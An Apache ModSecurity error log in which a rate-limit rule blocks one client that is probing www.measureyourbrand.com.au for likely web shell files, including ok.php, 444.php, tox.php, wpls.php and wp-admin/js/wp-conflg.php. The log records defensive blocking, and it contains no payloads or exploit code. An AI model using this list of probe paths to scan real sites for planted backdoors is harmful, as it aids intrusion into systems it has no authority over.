[Mon Dec 15 20:41:40.451593 2025] [:error] [pid 31459:tid 31466] [client 4.194.147.174:19220] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUACBDqerS0TDpViRztnvAAAAAU"]
[Mon Dec 15 20:41:40.645875 2025] [:error] [pid 31459:tid 31462] [client 4.194.147.174:16395] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUACBDqerS0TDpViRztnvgAAAAE"]
[Mon Dec 15 20:41:40.864157 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:16409] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aUACBDqerS0TDpViRztnvwAAAAw"]
[Mon Dec 15 20:41:41.075485 2025] [:error] [pid 31373:tid 31415] [client 4.194.147.174:16326] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aUACBXFdnrU7ASwItVLgtwAAAMo"]
[Mon Dec 15 20:41:41.299454 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16441] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aUACBTqerS0TDpViRztnwQAAAAY"]
[Mon Dec 15 20:41:41.494853 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:16366] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aUACBTqerS0TDpViRztnwgAAABc"]
[Mon Dec 15 20:41:41.762268 2025] [:error] [pid 31459:tid 31479] [client 4.194.147.174:16499] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aUACBTqerS0TDpViRztnxAAAABI"]
[Mon Dec 15 20:41:41.973253 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16436] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aUACBRaJK6javjid3xy2JwAAAQ4"]
[Mon Dec 15 20:41:42.206276 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:19252] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aUACBnFdnrU7ASwItVLguAAAAM8"]
[Mon Dec 15 20:41:42.447624 2025] [:error] [pid 31374:tid 31454] [client 4.194.147.174:16418] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aUACBpzSh8b7uk6RWiFh9wAAAFY"]
[Mon Dec 15 20:41:42.718987 2025] [:error] [pid 31459:tid 31468] [client 4.194.147.174:16398] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUACBjqerS0TDpViRztnxgAAAAc"]
[Mon Dec 15 20:41:43.191001 2025] [:error] [pid 31374:tid 31434] [client 4.194.147.174:16372] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUACB5zSh8b7uk6RWiFh_AAAAEI"]
[Mon Dec 15 20:41:43.442726 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16497] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUACB3FdnrU7ASwItVLguQAAAMM"]
[Mon Dec 15 20:41:43.693165 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:19244] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aUACB3FdnrU7ASwItVLgvAAAAMA"]
[Mon Dec 15 20:41:43.971490 2025] [:error] [pid 31374:tid 31439] [client 4.194.147.174:16455] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aUACB5zSh8b7uk6RWiFiAAAAAEc"]
[Mon Dec 15 20:41:44.354848 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16458] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aUACCJzSh8b7uk6RWiFiAgAAAEo"]
[Mon Dec 15 20:41:44.687546 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:16433] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aUACCBaJK6javjid3xy2LAAAAQI"]
[Mon Dec 15 20:41:44.889007 2025] [:error] [pid 31374:tid 31455] [client 4.194.147.174:16447] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aUACCJzSh8b7uk6RWiFiBAAAAFc"]
[Mon Dec 15 20:41:45.140768 2025] [:error] [pid 52155:tid 52171] [client 4.194.147.174:16340] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aUACCRaJK6javjid3xy2LQAAAQ0"]
[Mon Dec 15 20:41:45.537073 2025] [:error] [pid 52155:tid 52179] [client 4.194.147.174:16352] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aUACCRaJK6javjid3xy2MAAAARU"]
[Mon Dec 15 20:41:45.784442 2025] [:error] [pid 52155:tid 52168] [client 4.194.147.174:19211] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aUACCRaJK6javjid3xy2MQAAAQo"]
[Mon Dec 15 20:41:46.261231 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16459] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aUACChaJK6javjid3xy2MwAAAQM"]
[Mon Dec 15 20:41:46.737997 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16324] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUACChaJK6javjid3xy2NgAAAQA"]
[Mon Dec 15 20:41:47.117622 2025] [:error] [pid 31374:tid 31439] [client 4.194.147.174:16367] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUACC5zSh8b7uk6RWiFiEAAAAEc"]
[Mon Dec 15 20:41:47.545159 2025] [:error] [pid 31374:tid 31447] [client 4.194.147.174:16399] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUACC5zSh8b7uk6RWiFiEQAAAE8"]
[Mon Dec 15 20:41:47.862964 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:16204] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aUACCxaJK6javjid3xy2PAAAARA"]
[Mon Dec 15 20:41:48.265242 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:16464] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUACDBaJK6javjid3xy2PwAAAQI"]
[Mon Dec 15 20:41:48.615150 2025] [:error] [pid 31372:tid 31384] [client 4.194.147.174:16370] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUACDAN06qRtpJxyxHihLQAAAIg"]
[Mon Dec 15 20:41:48.963686 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:16369] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUACDAN06qRtpJxyxHihLgAAAIE"]
[Mon Dec 15 20:41:49.231284 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16380] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aUACDZzSh8b7uk6RWiFiFAAAAE4"]
[Mon Dec 15 20:41:49.541614 2025] [:error] [pid 31374:tid 31442] [client 4.194.147.174:16280] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUACDZzSh8b7uk6RWiFiFQAAAEo"]
[Mon Dec 15 20:41:49.814188 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16343] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUACDRaJK6javjid3xy2RQAAAQg"]
[Mon Dec 15 20:41:50.184729 2025] [:error] [pid 31459:tid 31472] [client 4.194.147.174:16389] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUACDjqerS0TDpViRztn1wAAAAs"]
[Mon Dec 15 20:41:50.553715 2025] [:error] [pid 31459:tid 31481] [client 4.194.147.174:16331] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aUACDjqerS0TDpViRztn2AAAABQ"]
[Mon Dec 15 20:41:50.772200 2025] [:error] [pid 31459:tid 31476] [client 4.194.147.174:16385] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aUACDjqerS0TDpViRztn2QAAAA8"]
[Mon Dec 15 20:41:51.103019 2025] [:error] [pid 52155:tid 52178] [client 4.194.147.174:16258] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aUACDxaJK6javjid3xy2SQAAARQ"]
[Mon Dec 15 20:41:51.737954 2025] [:error] [pid 31459:tid 31480] [client 4.194.147.174:16201] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aUACDzqerS0TDpViRztn3AAAABM"]
[Mon Dec 15 20:41:52.145831 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:16414] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aUACEBaJK6javjid3xy2TAAAAQI"]
[Mon Dec 15 20:41:52.767979 2025] [:error] [pid 31373:tid 31429] [client 4.194.147.174:16496] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUACEHFdnrU7ASwItVLgxAAAANg"]
[Mon Dec 15 20:41:53.199291 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16482] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUACERaJK6javjid3xy2TgAAARM"]
[Mon Dec 15 20:41:53.431034 2025] [:error] [pid 52155:tid 52161] [client 4.194.147.174:16270] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUACERaJK6javjid3xy2TwAAAQM"]
[Mon Dec 15 20:41:53.799044 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:19249] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aUACETqerS0TDpViRztn4gAAAAw"]
[Mon Dec 15 20:41:54.067963 2025] [:error] [pid 31373:tid 31409] [client 4.194.147.174:16309] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aUACEnFdnrU7ASwItVLgxgAAAMQ"]
[Mon Dec 15 20:41:54.261194 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:19284] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aUACEgN06qRtpJxyxHihOQAAAJI"]
[Mon Dec 15 20:41:54.530382 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:16362] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aUACEjqerS0TDpViRztn5AAAABg"]
[Mon Dec 15 20:41:54.802413 2025] [:error] [pid 31372:tid 31378] [client 4.194.147.174:16334] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aUACEgN06qRtpJxyxHihPQAAAII"]
[Mon Dec 15 20:41:55.240076 2025] [:error] [pid 52155:tid 52162] [client 4.194.147.174:16470] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aUACExaJK6javjid3xy2UgAAAQQ"]
[Mon Dec 15 20:41:55.556037 2025] [:error] [pid 31459:tid 31484] [client 4.194.147.174:16434] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aUACEzqerS0TDpViRztn6wAAABc"]
[Mon Dec 15 20:41:55.848181 2025] [:error] [pid 31459:tid 31477] [client 4.194.147.174:16341] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aUACEzqerS0TDpViRztn7gAAABA"]
[Mon Dec 15 20:41:56.171131 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:16388] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/geck.php"] [unique_id "aUACFJzSh8b7uk6RWiFiHQAAAFU"]
[Mon Dec 15 20:41:56.459640 2025] [:error] [pid 31372:tid 31395] [client 4.194.147.174:16429] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aUACFAN06qRtpJxyxHihPwAAAJM"]
[Mon Dec 15 20:41:56.679730 2025] [:error] [pid 31374:tid 31443] [client 4.194.147.174:16287] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aUACFJzSh8b7uk6RWiFiIwAAAEs"]
[Mon Dec 15 20:41:56.975699 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:16390] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aUACFDqerS0TDpViRztn9AAAAAk"]
[Mon Dec 15 20:41:57.278096 2025] [:error] [pid 31374:tid 31438] [client 4.194.147.174:16445] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/inde.php"] [unique_id "aUACFZzSh8b7uk6RWiFiKAAAAEY"]
[Mon Dec 15 20:41:57.575637 2025] [:error] [pid 52155:tid 52160] [client 4.194.147.174:16268] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aUACFRaJK6javjid3xy2VAAAAQI"]
[Mon Dec 15 20:41:58.242319 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:19273] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/777.php"] [unique_id "aUACFhaJK6javjid3xy2VwAAAQ8"]
